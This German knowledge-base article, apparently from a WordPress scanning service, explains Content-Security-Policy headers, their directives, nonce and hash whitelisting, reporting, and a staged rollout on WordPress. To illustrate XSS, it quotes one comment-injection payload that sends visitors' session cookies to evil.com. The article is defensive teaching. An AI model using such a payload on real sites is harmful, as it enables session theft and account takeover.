Content-Security-Policy (CSP) ist ein HTTP-Response-Header, der dir detaillierte Kontrolle darüber gibt, welche Ressourcen der Browser auf deiner Seite laden darf. Das umfasst Skripte, Stylesheets, Bilder, Schriftarten, iframes und mehr. CSP gilt allgemein als eine der wirksamsten Verteidigungen gegen Cross-Site-Scripting-Angriffe (XSS), die weiterhin zu den häufigsten Schwachstellen im Web gehören.
Wenn du eine WordPress-Seite betreibst, ist CSP besonders relevant, weil WordPress-Seiten typischerweise Ressourcen aus vielen verschiedenen Quellen laden: deinem eigenen Server, CDNs, Analyse-Anbietern, Schriftarten-Diensten, Werbenetzwerken und allem, was deine Plugins und dein Theme einbinden. CSP lässt dich genau festlegen, welche dieser Quellen erlaubt sind.
Wie ein Cross-Site-Scripting-Angriff (XSS) funktioniert
Um zu verstehen, warum CSP wichtig ist, hilft es zu sehen, was es verhindert. Hier ist ein konkretes Beispiel, wie ein XSS-Angriff auf einer WordPress-Seite ablaufen kann:
Angenommen, deine Seite hat ein Kommentarformular, und die Kommentarbereinigung hat eine Lücke (entweder im WordPress-Core, einem Plugin oder einer eigenen Theme-Funktion). Ein Angreifer reicht einen Kommentar mit folgendem Snippet ein:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Wenn dieses Skript ohne korrektes Escaping auf der Seite gerendert wird, führt der Browser jedes Besuchers, der den Kommentar sieht, diesen Code aus. Er sendet die Session-Cookies an den Server des Angreifers. Mit diesen Cookies kann sich der Angreifer als Opfer einloggen, auch als Administrator, wenn ein Admin den Kommentar ansieht.
Mit einer korrekt konfigurierten CSP schlägt dieser Angriff fehl. Der Browser prüft das Skript gegen die Richtlinie und stellt fest, dass Inline-Skripte nicht erlaubt sind (sofern nicht explizit freigeschaltet). Das Skript wird blockiert, und der Browser protokolliert einen Verstoß, anstatt den Code auszuführen.
CSP-Header-Syntax und wichtige Direktiven
Ein CSP-Header besteht aus Direktiven, die jeweils festlegen, welche Quellen für einen bestimmten Ressourcentyp erlaubt sind. Hier ein Beispiel:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com
Schauen wir uns die wichtigsten Direktiven an:
default-src: Die Fallback-Richtlinie für jeden Ressourcentyp, der keine eigene Direktive hat. Wenn dudefault-src 'self'setzt, sind standardmäßig nur Ressourcen von deiner eigenen Domain erlaubt.script-src: Kontrolliert, welche JavaScript-Quellen erlaubt sind. Dies ist die sicherheitskritischste Direktive, da Skripte vollen Zugriff auf das Seiten-DOM und Cookies haben.style-src: Kontrolliert, welche CSS-Quellen erlaubt sind. Diese braucht auf WordPress-Seiten oft'unsafe-inline', weil viele Plugins und Themes Inline-Styles injizieren.img-src: Kontrolliert, welche Bildquellen erlaubt sind. Der Wertdata:erlaubt Inline-Base64-Bilder, die manche Plugins verwenden.font-src: Kontrolliert, woher Schriftarten geladen werden dürfen. Bei Nutzung von Google Fonts musshttps://fonts.gstatic.comfreigeschaltet werden.connect-src: Kontrolliert, welche URLs über AJAX, Fetch API oder WebSocket-Verbindungen erreichbar sind. Wichtig für Seiten, die REST-APIs oder externe Dienste nutzen.frame-src: Kontrolliert, welche Origins in iframes auf deiner Seite eingebettet werden können. Relevant, wenn du YouTube-Videos, Google Maps oder andere Drittanbieter-Widgets einbettest.frame-ancestors: Kontrolliert, welche Seiten deine Seite in einem iframe einbetten dürfen. Dies ist das CSP-Äquivalent zu X-Frame-Options (siehe KB-3).base-uri: Beschränkt, welche URLs im<base>-Element verwendet werden dürfen. Das Setzen auf'self'verhindert, dass Angreifer die Basis-URL deiner Seite ändern.form-action: Beschränkt, wohin Formulare auf deiner Seite Daten senden können. Dies kann Phishing-Angriffe verhindern, bei denen ein Angreifer die Ziel-URL eines Formulars ändert.
Nonce-basiertes vs. Hash-basiertes Script-Whitelisting
Das Blockieren aller Inline-Skripte ist der ideale Ansatz, aber manchmal sind Inline-Skripte notwendig. CSP bietet zwei sichere Alternativen zu 'unsafe-inline':
Nonce-basiertes Whitelisting funktioniert, indem für jeden Seitenaufruf ein einzigartiger Zufallstoken generiert wird. Du fügst diesen Nonce sowohl dem CSP-Header als auch den Script-Tags hinzu:
Content-Security-Policy: script-src 'nonce-abc123random'
<script nonce="abc123random">
// Dieses Skript wird ausgeführt, weil der Nonce übereinstimmt
</script>
Der Nonce muss bei jedem Seitenaufruf anders sein. Ein Angreifer, der ein Skript injiziert, kann den aktuellen Nonce nicht kennen, daher wird sein Skript blockiert. Dieser Ansatz funktioniert gut, wenn du die HTML-Ausgabe kontrollierst und Nonces dynamisch hinzufügen kannst.
Hash-basiertes Whitelisting verwendet einen kryptographischen Hash des Skriptinhalts:
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='
Der Browser berechnet den Hash jedes Inline-Skripts und gleicht ihn mit den erlaubten Hashes ab. Dies ist nützlich für statische Inline-Skripte, die sich zwischen Seitenaufrufen nicht ändern.
Monitoring mit CSP-Reporting-Direktiven
CSP bietet eingebaute Reporting-Funktionen, mit denen du Verstöße überwachen kannst, ohne deine Seite zu beschädigen:
Die report-uri-Direktive (älter, aber noch weitgehend unterstützt) sendet Verstoßberichte an einen angegebenen Endpunkt:
Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint
Die neuere report-to-Direktive arbeitet mit der Reporting API und bietet mehr Flexibilität:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://yoursite.com/csp-reports"}]}
Mehrere Drittanbieter-Dienste wie Report URI, Sentry und Datadog können CSP-Berichte sammeln und visualisieren, was beim Rollout einer neuen Richtlinie extrem hilfreich ist.
Testen mit Content-Security-Policy-Report-Only
Hier sollten die meisten anfangen. Der Content-Security-Policy-Report-Only-Header verhält sich genau wie der reguläre CSP-Header, aber anstatt Verstöße zu blockieren, meldet er sie nur. Nichts wird tatsächlich blockiert; der Browser protokolliert lediglich, was blockiert worden wäre.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpoint
Das lässt dich genau sehen, welche Ressourcen auf deiner Seite von einer CSP-Richtlinie betroffen wären, bevor du sie erzwingst. Du kannst die Browser-Entwicklerkonsole auf CSP-Verstoßmeldungen prüfen oder strukturierte Berichte über die Reporting-Endpunkte sammeln.
Warum CSP auf WordPress-Seiten eine Herausforderung ist
WordPress und CSP haben eine komplizierte Beziehung. Die zentrale Herausforderung ist, dass WordPress und sein Ökosystem entworfen wurden, bevor CSP existierte, und viele gängige Muster im Konflikt mit strikten CSP-Richtlinien stehen:
- Inline-Skripte: WordPress Core, WooCommerce und viele populäre Plugins injizieren Inline-JavaScript. Eine strikte
script-src-Richtlinie ohne'unsafe-inline'wird diese beschädigen. - Inline-Styles: Viele Plugins und Page Builder (Elementor, Divi, WPBakery) generieren Inline-CSS. Der Customizer injiziert ebenfalls Inline-Styles. Das zwingt dich oft,
'unsafe-inline'fürstyle-srczu verwenden. - eval()-Nutzung: Manche Plugins verwenden
eval()odernew Function(), was'unsafe-eval'inscript-srcerfordert. Das schwächt den Schutz erheblich. - Drittanbieter-Ressourcen: Analyse-Skripte (Google Analytics, Matomo), Schriftarten (Google Fonts), CDNs, Social-Media-Embeds und Werbeskripte müssen alle explizit freigeschaltet werden.
- Plugin-Updates: Ein Plugin-Update kann plötzlich Ressourcen von einer neuen Domain laden und deine CSP ohne Vorwarnung brechen.
Für die praktische WordPress-CSP-Implementierung enden die meisten Seitenbetreiber mit einer Richtlinie, die 'unsafe-inline' für Styles erlaubt, aber Skripte und andere Ressourcen so weit wie möglich einschränkt. Das ist ein vernünftiger Kompromiss, der trotzdem sinnvollen Schutz bietet.
Praktische Schritte für CSP auf WordPress
Hier ist ein schrittweiser Ansatz, der in der Praxis funktioniert:
- Beginne mit
Content-Security-Policy-Report-Onlyaufdefault-src 'self'und einem Report-Endpunkt. - Durchsuche deine Seite gründlich und prüfe die Verstoßberichte. Notiere jede blockierte Ressource.
- Füge die notwendigen Quell-Domains einzeln zu deinen Richtlinien-Direktiven hinzu.
- Teste alle kritischen Funktionen: Login, Checkout (bei WooCommerce), Formulare, Admin-Bereich.
- Sobald die Report-Only-Richtlinie bei normaler Nutzung keine Verstöße mehr zeigt, wechsle zum erzwingenden
Content-Security-Policy-Header. - Halte den Reporting-Endpunkt auch nach der Erzwingung aktiv, damit du neue Verstöße durch Plugin-Updates oder Inhaltsänderungen erkennst.
Was InspectWP prüft
InspectWP prüft, ob deine Seite einen Content-Security-Policy-Header sendet. Fehlt dieser, markiert der Report, dass deine Seite keinen CSP-Schutz gegen XSS und andere Injektionsangriffe hat. Wenn eine Richtlinie vorhanden ist, zeigt InspectWP den vollständigen Policy-String an, damit du ihn überprüfen kannst. Bedenke, dass ein CSP-Header mit übermäßig permissiven Direktiven (wie default-src * oder script-src 'unsafe-inline' 'unsafe-eval') nur sehr wenig tatsächlichen Schutz bietet.